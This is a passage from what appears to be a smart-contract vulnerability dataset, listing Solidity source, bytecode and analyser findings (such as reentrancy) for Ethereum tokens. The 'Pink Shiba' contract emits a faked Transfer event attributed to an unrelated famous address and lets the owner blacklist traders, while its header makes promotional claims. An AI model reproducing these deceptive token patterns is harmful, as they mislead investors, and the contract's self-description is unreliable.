b6064820152608401610619565b60006113976115a3565b90506113a38382611561565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f2576113f2611e3d565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144657600080fd5b505afa15801561145a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147e9190611a28565b8160018151811061149157611491611e3d565b6001600160a01b0392831660209182029290920101526015546114b79130911684610b85565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f0908590600090869030904290600401611d2b565b600060405180830381600087803b15801561150a57600080fd5b505af115801561151e573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611540576115406115c6565b61154b8484846115f4565b80610a6657610a66600f54600d55601054600e55565b60006113a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116eb565b60008060006115b0611719565b90925090506115bf8282611561565b9250505090565b600d541580156115d65750600e54155b156115dd57565b600d8054600f55600e805460105560009182905555565b6000806000806000806116068761175b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163890876117b8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166790866117fa565b6001600160a01b03891660009081526002602052604090205561168981611859565b61169384836118a3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d891815260200190565b60405180910390a3505050505050505050565b6000818361170c5760405162461bcd60e51b81526004016106199190611ca1565b5060006112988486611db4565b6006546000908190683635c9adc5dea000006117358282611561565b82101561175257505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117788a600d54600e546118c7565b92509250925060006117886115a3565b9050600080600061179b8e87878761191c565b919e509c509a509598509396509194505050505091939550919395565b60006113a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611267565b6000806118078385611d9c565b9050838110156113a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610619565b60006118636115a3565b90506000611871838361196c565b3060009081526002602052604090205490915061188e90826117fa565b30600090815260026020526040902055505050565b6006546118b090836117b8565b6006556007546118c090826117fa565b6007555050565b60008080806118e160646118db898961196c565b90611561565b905060006118f460646118db8a8961196c565b9050600061190c826119068b866117b8565b906117b8565b9992985090965090945050505050565b600080808061192b888661196c565b90506000611939888761196c565b90506000611947888861196c565b905060006119598261190686866117b8565b939b939a50919850919650505050505050565b60008261197b5750600061069f565b60006119878385611dd6565b9050826119948583611db4565b146113a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610619565b80356119f681611e69565b919050565b803580151581146119f657600080fd5b600060208284031215611a1d57600080fd5b81356113a381611e69565b600060208284031215611a3a57600080fd5b81516113a381611e69565b60008060408385031215611a5857600080fd5b8235611a6381611e69565b91506020830135611a7381611e69565b809150509250929050565b600080600060608486031215611a9357600080fd5b8335611a9e81611e69565b92506020840135611aae81611e69565b929592945050506040919091013590565b60008060408385031215611ad257600080fd5b8235611add81611e69565b946020939093013593505050565b600080600060408486031215611b0057600080fd5b833567ffffffffffffffff80821115611b1857600080fd5b818601915086601f830112611b2c57600080fd5b813581811115611b3b57600080fd5b8760208260051b8501011115611b5057600080fd5b602092830195509350611b6691860190506119fb565b90509250925092565b60006020808385031215611b8257600080fd5b823567ffffffffffffffff80821115611b9a57600080fd5b818501915085601f830112611bae57600080fd5b813581811115611bc057611bc0611e53565b8060051b604051601f19603f83011681018181108582111715611be557611be5611e53565b604052828152858101935084860182860187018a1015611c0457600080fd5b600095505b83861015611c2e57611c1a816119eb565b855260019590950194938601938601611c09565b5098975050505050505050565b600060208284031215611c4d57600080fd5b6113a3826119fb565b600060208284031215611c6857600080fd5b5035919050565b60008060008060808587031215611c8557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cce57858101830151858201604001528201611cb2565b81811115611ce0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d7b5784516001600160a01b031683529383019391830191600101611d56565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611daf57611daf611e27565b500190565b600082611dd157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611df057611df0611e27565b500290565b600082821015611e0757611e07611e27565b500390565b6000600019821415611e2057611e20611e27565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002ac379b8737a737934d9af78d2e904288bd5669ae71869b2ceb319283d3a4b664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 825 |
0xae346d6fdAa04618bBEf5Fb40113cc76A9E221d9 | /*
Be aware of scammers! Scammers will try to social engineer you by phishing technique.
Telegram: https://t.me/pinkshibacommunity
Twitter: https://twitter.com/PinkShibacom
Official Website: https://pinkshiba.com
Marketing paid
Liqudity Locked
Ownership renounced
No Dev wallets
Front-runner bots prevention
CG & CMC listing: Checked
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PinkShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Pink Shiba";
string private constant _symbol = "PINKSHIBA";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingWalletAddress) {
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(
address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a146102cb578063c9567bf9146102eb578063d543dbeb14610300578063dd62ed3e1461032057600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102ab57600080fd5b8063273123b7116100c6578063273123b7146101be578063313ce567146101e05780635932ead1146101fc57806370a082311461021c57600080fd5b806306fdde0314610103578063095ea7b31461014857806318160ddd1461017857806323b872dd1461019e57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526950696e6b20536869626160b01b60208201525b60405161013f919061184f565b60405180910390f35b34801561015457600080fd5b506101686101633660046116e0565b610366565b604051901515815260200161013f565b34801561018457600080fd5b50681b1ae4d6e2ef5000005b60405190815260200161013f565b3480156101aa57600080fd5b506101686101b93660046116a0565b61037d565b3480156101ca57600080fd5b506101de6101d9366004611630565b6103e6565b005b3480156101ec57600080fd5b506040516009815260200161013f565b34801561020857600080fd5b506101de6102173660046117d2565b61043a565b34801561022857600080fd5b50610190610237366004611630565b610482565b34801561024857600080fd5b506101de6104a4565b34801561025d57600080fd5b506000546040516001600160a01b03909116815260200161013f565b34801561028557600080fd5b5060408051808201909152600981526850494e4b534849424160b81b6020820152610132565b3480156102b757600080fd5b506101686102c63660046116e0565b610518565b3480156102d757600080fd5b506101de6102e636600461170b565b610525565b3480156102f757600080fd5b506101de6105c9565b34801561030c57600080fd5b506101de61031b36600461180a565b61098c565b34801561032c57600080fd5b5061019061033b366004611668565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610373338484610a5f565b5060015b92915050565b600061038a848484610b83565b6103dc84336103d785604051806060016040528060288152602001611a23602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f0b565b610a5f565b5060019392505050565b6000546001600160a01b031633146104195760405162461bcd60e51b8152600401610410906118a2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104645760405162461bcd60e51b8152600401610410906118a2565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461037790610f45565b6000546001600160a01b031633146104ce5760405162461bcd60e51b8152600401610410906118a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610373338484610b83565b6000546001600160a01b0316331461054f5760405162461bcd60e51b8152600401610410906118a2565b60005b81518110156105c55760016006600084848151811061058157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bd816119b5565b915050610552565b5050565b6000546001600160a01b031633146105f35760405162461bcd60e51b8152600401610410906118a2565b601054600160a01b900460ff161561064d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561068a3082681b1ae4d6e2ef500000610a5f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c357600080fd5b505afa1580156106d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fb919061164c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b919061164c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb919061164c565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061082b81610482565b6000806108406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108a357600080fd5b505af11580156108b7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108dc9190611822565b505060108054674563918244f4000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561095457600080fd5b505af1158015610968573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c591906117ee565b6000546001600160a01b031633146109b65760405162461bcd60e51b8152600401610410906118a2565b60008111610a065760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610410565b610a246064610a1e681b1ae4d6e2ef50000084610fc9565b90611048565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610ac15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b038216610b225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610410565b6001600160a01b038216610c495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610410565b60008111610cab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b6005600a908155600b556000546001600160a01b03848116911614801590610ce157506000546001600160a01b03838116911614155b15610eae576001600160a01b03831660009081526006602052604090205460ff16158015610d2857506001600160a01b03821660009081526006602052604090205460ff16155b610d3157600080fd5b6010546001600160a01b038481169116148015610d5c5750600f546001600160a01b03838116911614155b8015610d8157506001600160a01b03821660009081526005602052604090205460ff16155b8015610d965750601054600160b81b900460ff165b15610df357601154811115610daa57600080fd5b6001600160a01b0382166000908152600760205260409020544211610dce57600080fd5b610dd942601e611947565b6001600160a01b0383166000908152600760205260409020555b6010546001600160a01b038381169116148015610e1e5750600f546001600160a01b03848116911614155b8015610e4357506001600160a01b03831660009081526005602052604090205460ff16155b15610e53576005600a908155600b555b6000610e5e30610482565b601054909150600160a81b900460ff16158015610e8957506010546001600160a01b03858116911614155b8015610e9e5750601054600160b01b900460ff165b15610eac57610eac8161108a565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610ef057506001600160a01b03831660009081526005602052604090205460ff165b15610ef9575060005b610f058484848461122f565b50505050565b60008184841115610f2f5760405162461bcd60e51b8152600401610410919061184f565b506000610f3c848661199e565b95945050505050565b6000600854821115610fac5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610410565b6000610fb661125d565b9050610fc28382611048565b9392505050565b600082610fd857506000610377565b6000610fe4838561197f565b905082610ff1858361195f565b14610fc25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b6000610fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611280565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113457600080fd5b505afa158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c919061164c565b8160018151811061118d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546111b39130911684610a5f565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ec9085906000908690309042906004016118d7565b600060405180830381600087803b15801561120657600080fd5b505af115801561121a573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b8061123c5761123c6112ae565b6112478484846112dc565b80610f0557610f05600c54600a55600d54600b55565b600080600061126a6113d3565b90925090506112798282611048565b9250505090565b600081836112a15760405162461bcd60e51b8152600401610410919061184f565b506000610f3c848661195f565b600a541580156112be5750600b54155b156112c557565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806112ee87611415565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113209087611472565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134f90866114b4565b6001600160a01b03891660009081526002602052604090205561137181611513565b61137b848361155d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113c091815260200190565b60405180910390a3505050505050505050565b6008546000908190681b1ae4d6e2ef5000006113ef8282611048565b82101561140c57505060085492681b1ae4d6e2ef50000092509050565b90939092509050565b60008060008060008060008060006114328a600a54600b54611581565b925092509250600061144261125d565b905060008060006114558e8787876115d0565b919e509c509a509598509396509194505050505091939550919395565b6000610fc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f0b565b6000806114c18385611947565b905083811015610fc25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610410565b600061151d61125d565b9050600061152b8383610fc9565b3060009081526002602052604090205490915061154890826114b4565b30600090815260026020526040902055505050565b60085461156a9083611472565b60085560095461157a90826114b4565b6009555050565b60008080806115956064610a1e8989610fc9565b905060006115a86064610a1e8a89610fc9565b905060006115c0826115ba8b86611472565b90611472565b9992985090965090945050505050565b60008080806115df8886610fc9565b905060006115ed8887610fc9565b905060006115fb8888610fc9565b9050600061160d826115ba8686611472565b939b939a50919850919650505050505050565b803561162b816119fc565b919050565b600060208284031215611641578081fd5b8135610fc2816119fc565b60006020828403121561165d578081fd5b8151610fc2816119fc565b6000806040838503121561167a578081fd5b8235611685816119fc565b91506020830135611695816119fc565b809150509250929050565b6000806000606084860312156116b4578081fd5b83356116bf816119fc565b925060208401356116cf816119fc565b929592945050506040919091013590565b600080604083850312156116f2578182fd5b82356116fd816119fc565b946020939093013593505050565b6000602080838503121561171d578182fd5b823567ffffffffffffffff80821115611734578384fd5b818501915085601f830112611747578384fd5b813581811115611759576117596119e6565b8060051b604051601f19603f8301168101818110858211171561177e5761177e6119e6565b604052828152858101935084860182860187018a101561179c578788fd5b8795505b838610156117c5576117b181611620565b8552600195909501949386019386016117a0565b5098975050505050505050565b6000602082840312156117e3578081fd5b8135610fc281611a14565b6000602082840312156117ff578081fd5b8151610fc281611a14565b60006020828403121561181b578081fd5b5035919050565b600080600060608486031215611836578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561187b5785810183015185820160400152820161185f565b8181111561188c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119265784516001600160a01b031683529383019391830191600101611901565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561195a5761195a6119d0565b500190565b60008261197a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611999576119996119d0565b500290565b6000828210156119b0576119b06119d0565b500390565b60006000198214156119c9576119c96119d0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611a1157600080fd5b50565b8015158114611a1157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad3ef9d10fb292a1f919080bd52ded1b1e081e2f2c4128daf0123a65e67cac1764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 826 |
0xbf8ef894fc52b423c50a8086415b9d5620fc64ce | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
